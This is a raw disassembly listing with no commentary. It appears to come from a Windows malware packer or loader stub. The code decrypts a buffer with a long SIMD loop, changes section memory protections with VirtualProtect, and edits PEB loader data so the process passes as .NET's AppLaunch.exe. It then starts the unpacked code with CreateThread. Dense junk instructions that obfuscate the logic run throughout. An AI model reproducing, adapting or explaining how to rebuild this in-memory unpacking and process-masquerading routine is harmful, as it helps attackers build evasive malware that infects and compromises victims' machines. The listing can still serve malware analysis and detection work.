vpaddb xmm5, xmm3, xmm5
vpaddb xmm5, xmm5, xmmword [str.LLLLLLLL]
vpsrlw xmm6, xmm5, 6
vpsllw xmm5, xmm5, 2
vpandn xmm6, xmm0, xmm6
vpand xmm5, xmm5, xmm0
vpxor xmm0, xmm0, xmm0
vpor xmm5, xmm5, xmm6
vpaddb xmm5, xmm3, xmm5
vpaddb xmm5, xmm5, xmmword [str.55555555]
vpsrlw xmm6, xmm5, 5
vpsllw xmm5, xmm5, 3
vpandn xmm6, xmm7, xmm6
vpand xmm5, xmm5, xmm7
vpor xmm5, xmm5, xmm6
vpbroadcastb xmm6, byte [0x416af2]
vpsubb xmm5, xmm6, xmm5
vpsrlw xmm6, xmm5, 5
vpsllw xmm5, xmm5, 3
vpandn xmm6, xmm7, xmm6
vpand xmm5, xmm5, xmm7
vpor xmm5, xmm5, xmm6
vpsubb xmm5, xmm0, xmm5
vpbroadcastb xmm0, byte [0x416ae3]
vpsrlw xmm6, xmm5, 5
vpsllw xmm5, xmm5, 3
vpandn xmm6, xmm7, xmm6
vpand xmm5, xmm5, xmm7
vpor xmm5, xmm5, xmm6
vpxor xmm5, xmm5, xmm1
vpaddb xmm5, xmm3, xmm5
vpsrlw xmm6, xmm5, 7
vpaddb xmm5, xmm5, xmm5
vpand xmm6, xmm6, xmm0
vpcmpeqd xmm0, xmm0, xmm0
vpor xmm5, xmm5, xmm6
vpxor xmm6, xmm3, xmm1
vmovdqa xmm1, xmm4
vpaddb xmm5, xmm5, xmm6
vpsrlw xmm6, xmm5, 1
vpsllw xmm5, xmm5, 7
vpandn xmm6, xmm4, xmm6
vpand xmm5, xmm5, xmm4
vpor xmm5, xmm5, xmm6
vpsubb xmm5, xmm3, xmm5
vpaddb xmm5, xmm5, xmmword [0x494b40]
vpsrlw xmm6, xmm5, 5
vpsllw xmm5, xmm5, 3
vpandn xmm6, xmm7, xmm6
vpand xmm5, xmm5, xmm7
vpor xmm5, xmm5, xmm6
vpbroadcastb xmm6, byte [0x416af3]
vpsubb xmm5, xmm6, xmm5
vpsrlw xmm6, xmm5, 5
vpsllw xmm5, xmm5, 3
vpandn xmm6, xmm7, xmm6
vpand xmm5, xmm5, xmm7
vpor xmm5, xmm5, xmm6
vpsubb xmm6, xmm3, xmm2
vpaddb xmm5, xmm6, xmm5
vpaddb xmm5, xmm5, xmmword [0x4167b0]
vpsrlw xmm6, xmm5, 1
vpsllw xmm5, xmm5, 7
vpandn xmm6, xmm4, xmm6
vpand xmm5, xmm5, xmm4
vpor xmm5, xmm5, xmm6
vpaddb xmm6, xmm2, xmm0
vpbroadcastb xmm2, byte [0x416ae3]
vpaddb xmm5, xmm6, xmm5
vpsrlw xmm6, xmm5, 5
vpsllw xmm5, xmm5, 3
vpandn xmm6, xmm7, xmm6
vpand xmm5, xmm5, xmm7
vpor xmm5, xmm5, xmm6
vpxor xmm5, xmm5, xmm0
vpbroadcastb xmm0, byte [0x416adf]
vpsrlw xmm6, xmm5, 7
vpaddb xmm5, xmm5, xmm5
vpand xmm6, xmm6, xmm2
vpor xmm5, xmm5, xmm6
vpsubb xmm5, xmm5, xmm3
vpsrlw xmm6, xmm5, 6
vpsllw xmm5, xmm5, 2
vpandn xmm6, xmm0, xmm6
vpand xmm5, xmm5, xmm0
vpbroadcastb xmm0, byte [0x416ae6]
vpor xmm5, xmm5, xmm6
vpsubb xmm5, xmm5, xmm3
vpsrlw xmm6, xmm5, 7
vpaddb xmm5, xmm5, xmm5
vpand xmm6, xmm6, xmm2
vpor xmm5, xmm5, xmm6
vpbroadcastb xmm6, byte [0x416ae5]
vpsubb xmm5, xmm6, xmm5
vpsrlw xmm6, xmm5, 1
vpsllw xmm5, xmm5, 7
vpandn xmm6, xmm4, xmm6
vpand xmm5, xmm5, xmm4
vpor xmm5, xmm5, xmm6
vpaddb xmm5, xmm5, xmmword [0x494b50]
vpsrlw xmm6, xmm5, 2
vpsllw xmm5, xmm5, 6
vpandn xmm6, xmm0, xmm6
vpand xmm5, xmm5, xmm0
vpcmpeqd xmm0, xmm0, xmm0
vpor xmm5, xmm5, xmm6
vpsubb xmm5, xmm3, xmm5
vpaddb xmm5, xmm5, xmmword [0x494b60]
vpsrlw xmm6, xmm5, 5
vpsllw xmm5, xmm5, 3
vpandn xmm6, xmm7, xmm6
vpand xmm5, xmm5, xmm7
vpor xmm5, xmm5, xmm6
vpsubb xmm5, xmm3, xmm5
vpaddb xmm5, xmm5, xmmword [str.44444444]
vpsrlw xmm6, xmm5, 7
vpaddb xmm5, xmm5, xmm5
vpand xmm6, xmm6, xmm2
vpor xmm5, xmm5, xmm6
vpsubb xmm5, xmm5, xmm3
vpsrlw xmm6, xmm5, 5
vpsllw xmm5, xmm5, 3
vpandn xmm6, xmm7, xmm6
vpand xmm5, xmm5, xmm7
vpor xmm5, xmm5, xmm6
vpsubb xmm5, xmm5, xmm3
vpaddb xmm5, xmm5, xmmword [0x494b80]
vpsrlw xmm6, xmm5, 7
vpaddb xmm5, xmm5, xmm5
vpand xmm6, xmm6, xmm2
vpor xmm5, xmm5, xmm6
vpbroadcastb xmm6, byte [0x416af4]
vpaddb xmm5, xmm5, xmm3
vpsubb xmm5, xmm6, xmm5
vpsrlw xmm6, xmm5, 7
vpaddb xmm5, xmm5, xmm5
vpand xmm6, xmm6, xmm2
vpbroadcastb xmm2, byte [0x416ae6]
vpor xmm5, xmm5, xmm6
vpbroadcastb xmm6, byte [0x416af5]
vpsubb xmm5, xmm6, xmm5
vpsrlw xmm6, xmm5, 1
vpsllw xmm5, xmm5, 7
vpandn xmm6, xmm4, xmm6
vpand xmm5, xmm5, xmm4
vpbroadcastb xmm4, byte [0x416ae2]
vpor xmm5, xmm5, xmm6
vpaddb xmm5, xmm5, xmmword [str.iiiiiiii]
vpsrlw xmm6, xmm5, 3
vpsllw xmm5, xmm5, 5
vpandn xmm6, xmm4, xmm6
vpand xmm5, xmm5, xmm4
vpor xmm5, xmm5, xmm6
vpxor xmm5, xmm5, xmm0
vpsrlw xmm6, xmm5, 3
vpsllw xmm5, xmm5, 5
vpandn xmm6, xmm4, xmm6
vpand xmm5, xmm5, xmm4
vpor xmm5, xmm5, xmm6
vpxor xmm5, xmm5, xmm0
vpbroadcastb xmm0, byte [0x416adf]
vpsrlw xmm6, xmm5, 5
vpsllw xmm5, xmm5, 3
vpandn xmm6, xmm7, xmm6
vpand xmm5, xmm5, xmm7
vpor xmm5, xmm5, xmm6
vpbroadcastb xmm6, byte [0x416ade]
vpsubb xmm5, xmm6, xmm5
vpsrlw xmm6, xmm5, 6
vpsllw xmm5, xmm5, 2
vpandn xmm6, xmm0, xmm6
vpand xmm5, xmm5, xmm0
vpor xmm5, xmm5, xmm6
vpaddb xmm5, xmm5, xmm3
vpsrlw xmm6, xmm5, 5
vpsllw xmm5, xmm5, 3
vpandn xmm6, xmm7, xmm6
vpand xmm5, xmm5, xmm7
vpor xmm5, xmm5, xmm6
vpbroadcastb xmm6, byte [0x416af6]
vpaddb xmm5, xmm5, xmm3
vpsubb xmm5, xmm6, xmm5
vpsrlw xmm6, xmm5, 1
vpsllw xmm5, xmm5, 7
vpandn xmm6, xmm1, xmm6
vpand xmm5, xmm5, xmm1
vpor xmm5, xmm5, xmm6
vpsubb xmm5, xmm3, xmm5
vpaddb xmm5, xmm5, xmmword [0x416a40]
vpsrlw xmm6, xmm5, 3
vpsllw xmm5, xmm5, 5
vpandn xmm6, xmm4, xmm6
vpand xmm5, xmm5, xmm4
vpor xmm5, xmm5, xmm6
vpaddb xmm5, xmm5, xmmword [0x494bb0]
vpsrlw xmm6, xmm5, 1
vpsllw xmm5, xmm5, 7
vpandn xmm6, xmm1, xmm6
vpand xmm5, xmm5, xmm1
vpor xmm5, xmm5, xmm6
vpxor xmm6, xmm6, xmm6
vpsubb xmm5, xmm6, xmm5
vpsrlw xmm6, xmm5, 1
vpsllw xmm5, xmm5, 7
vpandn xmm6, xmm1, xmm6
vpand xmm5, xmm5, xmm1
vpor xmm5, xmm5, xmm6
vpsubb xmm5, xmm5, xmm3
vpaddb xmm5, xmm5, xmmword [0x494ad0]
vpsrlw xmm6, xmm5, 2
vpsllw xmm5, xmm5, 6
vpandn xmm6, xmm2, xmm6
vpand xmm5, xmm5, xmm2
vpor xmm5, xmm5, xmm6
vpaddb xmm5, xmm5, xmmword [0x494bc0]
vpsrlw xmm6, xmm5, 3
vpsllw xmm5, xmm5, 5
vpandn xmm6, xmm4, xmm6
vpand xmm5, xmm5, xmm4
vpor xmm5, xmm5, xmm6
vpsubb xmm5, xmm5, xmm3
vpsrlw xmm6, xmm5, 6
vpsllw xmm5, xmm5, 2
vpandn xmm6, xmm0, xmm6
vpand xmm5, xmm5, xmm0
vpor xmm5, xmm5, xmm6
vpaddb xmm5, xmm5, xmmword [esp + 0x30]
vpsrlw xmm6, xmm5, 6
vpsllw xmm5, xmm5, 2
vpandn xmm6, xmm0, xmm6
vpand xmm5, xmm5, xmm0
vpor xmm5, xmm5, xmm6
vpaddb xmm6, xmm5, xmmword [str.HHHHHHHH]
vpsllw xmm5, xmm5, 5
vpand xmm5, xmm5, xmm4
vpsrlw xmm6, xmm6, 3
vpandn xmm6, xmm4, xmm6
vpbroadcastb xmm4, byte [0x416af7]
vpor xmm5, xmm5, xmm6
vpaddb xmm6, xmm5, xmmword [0x494be0]
vpsllw xmm5, xmm5, 7
vpand xmm5, xmm5, xmm1
vpsrlw xmm6, xmm6, 1
vpandn xmm6, xmm1, xmm6
vpor xmm5, xmm5, xmm6
vpaddb xmm5, xmm5, xmm3
vpsubb xmm5, xmm4, xmm5
vmovdqa xmm4, xmm0
vpsrlw xmm6, xmm5, 2
vpsllw xmm5, xmm5, 6
vpandn xmm6, xmm2, xmm6
vpand xmm5, xmm5, xmm2
vpor xmm5, xmm5, xmm6
vpaddb xmm5, xmm5, xmmword [0x494bf0]
vpsrlw xmm6, xmm5, 7
vpand xmm6, xmm6, xmmword [0x4167a0]
vpaddb xmm5, xmm5, xmm5
vpor xmm5, xmm5, xmm6
vpaddb xmm5, xmm5, xmm3
vpaddb xmm6, xmm5, xmmword [0x494c00]
vpsllw xmm5, xmm5, 7
vpand xmm5, xmm5, xmm1
vpsrlw xmm6, xmm6, 1
vpandn xmm6, xmm1, xmm6
vpor xmm5, xmm5, xmm6
vpsubb xmm5, xmm5, xmm3
vpaddb xmm5, xmm5, xmmword [0x494c10]
vpsrlw xmm6, xmm5, 5
vpsllw xmm5, xmm5, 3
vpandn xmm6, xmm7, xmm6
vpand xmm5, xmm5, xmm7
vpor xmm5, xmm5, xmm6
vpaddb xmm5, xmm5, xmmword [str.WWWWWWWW]
vpsrlw xmm6, xmm5, 1
vpsllw xmm5, xmm5, 7
vpandn xmm6, xmm1, xmm6
vpand xmm5, xmm5, xmm1
vpor xmm5, xmm5, xmm6
vpxor xmm5, xmm5, xmmword [0x416a90]
vmovdqu xmm2, xmmword [esp + 0x10]
vpaddb xmm5, xmm3, xmm5
vpsrlw xmm6, xmm5, 5
vpsllw xmm5, xmm5, 3
vpandn xmm6, xmm7, xmm6
vpand xmm5, xmm5, xmm7
vpor xmm5, xmm5, xmm6
vpsubb xmm5, xmm3, xmm5
vpaddb xmm5, xmm5, xmmword [str.kkkkkkkk]
vpsrlw xmm6, xmm5, 6
vpsllw xmm5, xmm5, 2
vpandn xmm6, xmm0, xmm6
vpand xmm5, xmm5, xmm0
vpbroadcastb xmm0, byte [0x416ae6]
vpor xmm5, xmm5, xmm6
vpaddb xmm6, xmm2, xmm3
vpaddb xmm3, xmm3, xmmword [str._b_b_b_b_b_b_b_b]
vpsubb xmm5, xmm6, xmm5
vpaddb xmm5, xmm5, xmmword [str.hhhhhhhh]
vpsrlw xmm6, xmm5, 2
vpsllw xmm5, xmm5, 6
vpandn xmm6, xmm0, xmm6
vpand xmm5, xmm5, xmm0
vpor xmm5, xmm5, xmm6
vpaddb xmm5, xmm5, xmmword [0x494c40]
vpsrlw xmm6, xmm5, 6
vpsllw xmm5, xmm5, 2
vpandn xmm6, xmm4, xmm6
vpand xmm5, xmm5, xmm4
vpor xmm5, xmm5, xmm6
vpaddb xmm5, xmm5, xmm2
vmovq qword [esp + eax + 0xcc], xmm5
add eax, 8
cmp eax, 0x2b48
jne 0x404540
cmp word [ecx + 6], 0
mov ebp, dword [esp + 0xc]
je 0x405300
add ebp, 8
mov edi, 0x40
xor esi, esi
nop
mov ecx, dword [ebp + 0x1c]
mov eax, 0x40
mov edx, 4
mov ebx, 2
test ecx, 0x20000000
cmove eax, edx
mov edx, ecx
test ecx, 0x40000000
not edx
cmove ebx, edi
test edx, 0x60000000
mov edx, 0x20
cmove ebx, edx
cmp ecx, 0xc0000000
mov ecx, 4
lea edx, [esp + 0x50]
cmovb eax, ecx
mov ecx, dword [ebp + 4]
cmovb eax, ebx
add ecx, dword [esp]
push edx
push eax
push dword [ebp]
push ecx
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [esp + 4]
inc esi
add ebp, 0x28
movzx eax, word [eax + 6]
cmp esi, eax
jb 0x405290
sub ebx, 0x63
rcl eax, 0x84
inc ebx
rol esi, 0x41
bswap eax
add esi, 0x45
not edx
ror ebx, 0x61
imul esi
inc edx
add edx, 0xc0
add edx, 0x18
or eax, 0xbd
add edx, 0x6a
sbb esi, 0xbb
rcl edi, 0x47
sub ebx, 0xc4
or ebx, 0xf
or edx, 0xf2
sub eax, 7
inc ebx
dec edx
not eax
dec edx
not eax
imul edx
not eax
dec edx
and ebx, 0x91
or edx, 0xea
add ebx, 0x71
dec edx
not ebx
add edi, 0x30
inc edi
rcr esi, 0x5a
rol ebx, 4
sub ebx, 0x1e
inc edx
sub ebx, 0xbc
or ebx, 0xd1
bswap esi
imul ebx
and esi, 0xf1
bswap edi
not ebx
rcr edx, 0x26
or edx, 0x59
sub edx, 0x20
sbb eax, 0xbb
inc edx
not ebx
or esi, 0xf8
mov edx, 0x41
add esi, 0x5a
ror ebx, 0x4d
dec eax
bswap eax
sub esi, 0xb
neg ebx
ror esi, 0x4c
rcr edx, 0x46
imul edx
or edi, 0x92
dec ebx
add eax, 0x37
rol ebx, 0x45
ror edx, 0x23
imul edi
sub edi, 0x80
dec ebx
imul eax
imul eax
inc edi
not eax
imul edi
and edi, 0x6d
imul eax
rol ebx, 0x40
neg edx
rol esi, 0x9a
ror ebx, 0xf
rcr edi, 0x5e
rcl edi, 0x56
not esi
add edx, 0xf1
inc eax
rcr ebx, 0xf3
not esi
sub edx, 0x8a
imul eax
or edx, 0xea
bswap ebx
rcr edx, 0x63
add esi, 0xb1
neg edi
rol ebx, 0x5a
or ebx, 0x65
rcr edi, 0x30
rol edi, 0x71
or ebx, 0x85
dec edx
rol edi, 0x52
bswap edi
add ebx, 0xde
bswap edx
rcr edx, 0xfa
rcl edx, 0xf3
bswap edx
sub edx, 0xba
dec esi
and edi, 0x3e
rol edi, 0x96
rol eax, 0x55
sub edx, 0x91
neg esi
mov esi, 0xd
add ebx, 0xa7
ror esi, 0xeb
inc edx
neg eax
neg edx
and edx, 0xe5
not ebx
mov edi, 0xb9
dec edx
imul eax
inc esi
and ebx, 0xff
dec esi
or edi, 0x98
inc edi
sbb esi, 0x6d
or eax, 0xc2
dec edx
sub edx, 0x6d
rcr ebx, 0x95
neg eax
rcl ebx, 0xa
bswap edx
rol edi, 0x85
ror edx, 0xda
not eax
dec edx
imul eax
add edx, 0x34
dec eax
imul edi
rcr eax, 0x1e
imul eax
mov ecx, dword fs:[0x30]
vmovups ymm0, ymmword [0x4919fa]
vmovups ymm1, ymmword [0x4919e2]
vmovups ymm2, ymmword [0x4919c2]
mov eax, dword [ecx + 0xc]
mov ebp, dword [eax + 0x14]
ror edi, 0x9c
add edi, 0x98
sub eax, 0x32
sub edi, 0xa5
imul edi
neg edx
or edx, 0xe2
bswap edi
bswap eax
rol esi, 0x47
dec edi
rcl edi, 0x71
rcl ebx, 0xd0
inc edi
or edi, 6
dec edx
dec eax
sbb esi, 0x8e
sbb edi, 0xcd
imul esi
rol edi, 0xda
ror edx, 0x7f
mov eax, 0x71
sub edi, 0x94
inc edx
not eax
neg eax
neg edi
ror esi, 0xe9
ror edi, 8
and ebx, 0x66
sub edi, 0x8b
sub edx, 0x68
inc eax
bswap esi
not edi
rcr esi, 0x6f
mov edi, 0xfb
inc edx
rcl ebx, 0x3c
inc edx
inc esi
or eax, 0x94
neg edx
sbb eax, 0x3b
imul eax
sub edi, 0x5b
or edx, 0xc8
bswap edx
sub edi, 1
sub eax, 0x23
and ebx, 0xe
or ebx, 0x1c
sbb esi, 0x47
not ebx
inc edx
sbb edx, 0xd5
not edx
bswap esi
and ebx, 0x53
dec eax
dec edi
and edi, 0x4f
sub esi, 0x43
sbb ebx, 0x69
rcl edx, 0xb2
inc eax
sub esi, 0x28
dec ebx
sbb esi, 0xf1
dec eax
rol ebx, 0x7e
rcr eax, 0xd5
rcr edx, 0x4b
sbb eax, 0x44
bswap eax
sbb edi, 0x4f
rcl edi, 0x92
not edi
neg edx
not ebx
not esi
rcr eax, 0x77
inc edi
rcl eax, 0x8a
neg eax
not esi
sbb edi, 0x78
not eax
ror ebx, 0xab
ror edx, 0x3e
sub esi, 0x65
ror eax, 0xb
and ebx, 0x58
not ebx
not ebx
not esi
rol edi, 0xe5
not eax
sub esi, 0x4e
neg eax
not eax
dec edi
sbb ebx, 0xbe
rol edi, 0x87
mov eax, 7
and esi, 0x3a
sbb esi, 0x2c
rcl esi, 0xdb
sbb esi, 0x47
rol eax, 0x37
mov edx, 0x71
and edi, 0x2f
bswap esi
and esi, 7
bswap ebx
or edi, 0x28
rcl edi, 0xa
not edx
ror edx, 0x30
or edx, 0x47
not edx
dec edi
sbb edi, 0xfa
dec esi
mov esi, 0xf1
mov esi, 0xb1
mov esi, 0x6c
sub ebx, 0x64
bswap eax
rol esi, 0x75
bswap eax
neg ebx
ror ebx, 0x4f
not esi
sbb edi, 0x8f
mov esi, 0xd3
mov edi, 0xf5
sbb esi, 0xbe
or edx, 0x79
rol edx, 0xd
sub edi, 0xd2
not edx
dec ebx
sbb esi, 0x79
and edx, 3
add edx, 0x79
and edi, 0x46
imul edi
not eax
mov eax, dword [esp]
mov dword [ecx + 8], eax
mov dword [ebp + 0x10], eax
sub eax, 0xd0
rcr edi, 0x70
dec edx
sbb eax, 0xbd
rcl ebx, 0x1a
rol eax, 0x94
dec ebx
neg eax
dec edx
not edx
imul eax
rol eax, 0x7c
sbb esi, 0xdb
bswap esi
mov esi, 0x76
bswap edx
rcl edx, 0xe3
imul edi
bswap edx
dec eax
not eax
inc esi
imul edx
rcl edi, 0x65
mov edx, 0x2a
inc esi
neg ebx
inc esi
and edx, 0xc6
sub esi, 0xd3
rol edx, 6
sub edi, 0x72
neg esi
inc edi
sub edi, 0xd0
sub esi, 0x47
not esi
mov edi, 0xf
dec edi
imul eax
rol ebx, 0xd3
rcl esi, 0x27
not edi
imul esi
rcl edi, 0x27
neg eax
rcr edx, 0x45
ror ebx, 0xd9
dec eax
sbb eax, 0x42
neg ebx
rcl eax, 0x61
neg edi
and ebx, 0xdd
ror edx, 0xaa
and eax, 0x4d
ror edx, 0x80
or edx, 0x73
neg eax
neg edx
sub edi, 0x4c
add edi, 0x5a
rcl ebx, 0xfe
ror eax, 0xdc
inc ebx
sub ebx, 0xd
neg esi
bswap esi
sub esi, 0x1c
imul edi
add edi, 0xed
not eax
not eax
inc eax
dec edx
rol edi, 0x7c
or edx, 0x1e
rol ebx, 0xca
neg edi
not edi
inc edx
or edi, 0x6a
sub esi, 0x1c
and edi, 0x38
ror edx, 0x73
sub esi, 0x4b
dec eax
rcr ebx, 0xd6
bswap eax
mov edi, 0xca
bswap edi
not eax
and edi, 0xcc
inc ebx
bswap eax
or esi, 0xbe
add esi, 0x37
dec esi
not edx
neg edi
rol ebx, 0xe2
inc edi
imul edx
dec edi
sbb edx, 0x92
dec ebx
inc ebx
or edx, 0x59
neg edx
not eax
inc ebx
inc edx
inc edi
mov esi, 0x4c
dec edx
not edi
rcr edi, 0x70
dec edx
or eax, 9
inc ebx
dec eax
rol ebx, 0xd4
imul ebx
imul eax
ror edi, 0xab
sub esi, 1
ror edx, 0xb7
sub esi, 0x13
dec edi
not esi
rcr edx, 0x78
inc eax
rcl edx, 4
bswap edi
or ebx, 0xbe
bswap edi
neg ebx
rcr esi, 0xf
rol edx, 0xa0
inc ebx
rcl ebx, 0x4a
imul eax
not ebx
inc ebx
dec edi
and eax, 0x1e
rcr ebx, 0x65
inc ebx
mov edx, 0xa1
add eax, 0xac
vmovups ymmword [esp + 0xac], ymm0
vmovups ymmword [esp + 0x94], ymm1
vmovups ymm1, ymmword [str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe]
mov eax, dword [esp + 4]
vmovups ymmword [esp + 0x74], ymm2
vmovups ymmword [esp + 0x54], ymm1
mov eax, dword [eax + 0xe8]
mov dword [esp + 0x10], eax
test eax, eax
je 0x40587a
mov eax, dword [ebp + 0x1c]
mov dword [esp + 0x30], eax
mov eax, dword [ebp + 0x20]
mov dword [esp + 8], eax
lea eax, [esp + 0x54]
mov dword [ebp + 0x20], eax
push eax
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
mov word [ebp + 0x1c], ax
jmp 0x40587a
inc ebx
sub esi, 0x11
imul edi
not edi
or edi, 0xc6
sub edx, 0xa7
inc ebx
rcr ebx, 0x8b
rcl eax, 4
rcl eax, 0x56
imul ebx
not edx
rcr edi, 0xa
mov ebx, 0x10
inc edx
rcl edx, 0xca
bswap eax
neg esi
bswap edi
mov edi, 0x6f
rol edi, 0xc3
ror edx, 0xbc
bswap ebx
ror edi, 0x83
ror edx, 0x8e
not edx
mov ebx, 0xb3
rol esi, 0x38
rcl esi, 0xf1
not eax
or eax, 0x90
rcr esi, 0xa3
dec ebx
rol eax, 0x45
dec esi
neg edi
neg esi
rcr edx, 0x34
not edi
and edx, 8
rcl ebx, 0x4b
bswap eax
bswap eax
mov ebx, 0x65
dec eax
add ebx, 0xcb
rol esi, 0xa0
bswap eax
rcr esi, 0xa8
rcr edx, 0x24
not eax
sbb ebx, 0x2f
imul eax
rcl esi, 0xea
and esi, 0x2d
ror ebx, 0xe7
not edi
bswap eax
sbb esi, 0xb2
imul eax
bswap edx
imul ebx
dec edi
sub edx, 0x17
rcr eax, 0x1f
dec esi
ror ebx, 0xac
rcr eax, 0x5e
not edi
inc ebx
dec eax
not edi
sbb ebx, 0xca
dec eax
inc edi
not ebx
rcl ebx, 0xed
mov edx, 0x4b
imul esi
dec eax
inc edx
rol edx, 5
neg esi
inc eax
or esi, 0xee
rcr edi, 0xf1
bswap edi
not esi
imul ebx
mov edi, 0x9e
inc ebx
not ebx
imul ebx
inc edx
imul edi
not edx
neg ebx
rcr eax, 0x2b
imul esi
rcr eax, 0x10
rcr ebx, 0xa3
neg edx
rcr eax, 0xd6
dec ebx
inc edi
not edi
neg edi
inc edi
add ebx, 0x8d
inc ebx
ror edx, 0x1b
sub ebx, 0xae
neg ebx
not ebx
rcr edi, 0x52
rol edx, 0x45
bswap eax
neg esi
add ebx, 0x20
dec edi
bswap ebx
rcl ebx, 0xbf
neg eax
imul ebx
dec eax
bswap edx
rcr edi, 0x3d
sbb eax, 0x26
neg eax
or edi, 0xa2
rcr eax, 0x69
imul eax
sbb edx, 0x60
bswap eax
add eax, 0xb
bswap eax
sub eax, 0x5b
rcl edx, 0xef
and edx, 0xc1
not edx
sbb eax, 0xba
ror ebx, 0x35
dec edx
neg edi
bswap edx
sub edx, 0x53
dec edx
rcr edi, 0xe0
dec edi
imul esi
mov eax, dword [esp + 4]
mov ecx, dword [esp]
add ecx, dword [eax + 0x28]
push 0
push 0
push 0
push ecx
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [esp + 0x10], 0
mov esi, eax
je 0x405a3b
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0x30]
mov dword [ebp + 0x20], eax
mov dword [ebp + 0x1c], ecx
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
inc ebx
ror edi, 0xc7
dec edi
not edx
bswap esi
sub edi, 0x91
rcl edi, 0x83
not ebx
sbb edx, 0x96
rcl eax, 0xb0
neg edi
inc ebx
ror esi, 0x66
not ebx
sub eax, 0xbd
rol esi, 0xf8
neg esi
dec esi
and eax, 0xe3
neg eax
mov eax, 0x6c
sub ebx, 0xc2
inc ebx
not edi
bswap esi
add ebx, 0x82
rol ebx, 0x67
or ebx, 0x33
neg edi
imul eax
dec ebx
dec edx
bswap ebx
bswap edx
rol edx, 0xb5
rcl edi, 0x56
rcr eax, 0x34
imul eax
sbb esi, 0x5d
and esi, 0x67
rol esi, 0x7d
inc esi
mov eax, 0x3c
bswap edi
dec ebx
rcl esi, 0xa9
and eax, 0xa7
imul eax
rcl ebx, 0xb3
add edx, 0xa3
imul edi
bswap ebx
bswap edx
rcr eax, 0x34
bswap edi
rcl edx, 0xf2
and esi, 0xe0
or eax, 0x76
bswap ebx
or eax, 0x42
neg edx
rcr ebx, 0x47
mov eax, 0x82
rcr eax, 0xa0
inc edi
and eax, 7
sub ebx, 0x53
not ebx
sbb eax, 0xe5
inc edi
ror esi, 0x51
bswap esi
imul edx
rcl esi, 0xc0
or edi, 0x9d
imul edx
dec edi
inc esi
bswap esi
ror edx, 0xb5
not edi
dec edx
rcr eax, 0xe3
rcr eax, 0x56
or eax, 0x55
sbb edi, 0x52
or edi, 0xb0
bswap edx
neg eax
rol eax, 0xbd
add esi, 0x32
not esi
and eax, 0xfb
neg eax
neg esi
or edi, 0x20
rol ebx, 0xa5
not edx
inc edi
mov edi, 0xf
ror esi, 0xf6
and edi, 0xec
mov edi, 0x79
ror eax, 0xeb
or edi, 0x67
bswap esi
sub eax, 0xad
and ebx, 0x34
and edx, 0xad
rol ebx, 0xb1
or eax, 0x6b
or esi, 0x59
bswap edi
sbb edx, 0xd8
bswap edi
add edx, 0x97
bswap esi
ror edx, 0xaf
dec edi
rcl edi, 1
rcl esi, 0xb9
ror edi, 0xf6
add ebx, 0xbf
rcl edx, 8
not edi
sub edi, 0xb5
or edi, 0xaa
sub edx, 0x2c
bswap edx
neg esi
bswap ebx
bswap eax
sbb eax, 0x4c
add ebx, 0x45
or ebx, 0x56
mov edx, 0xde
or eax, 0x9e
ror esi, 0x27
bswap edi
sub esi, 0x14
sbb ebx, 0x25
rcr esi, 0x78
not ebx
inc edx
mov ebx, 0xc8
bswap eax
mov edx, 0x94
neg esi
dec ebx
and esi, 0xbc
xor eax, eax
add esp, 0x78414
pop esi
pop edi
pop ebx
pop ebp
ret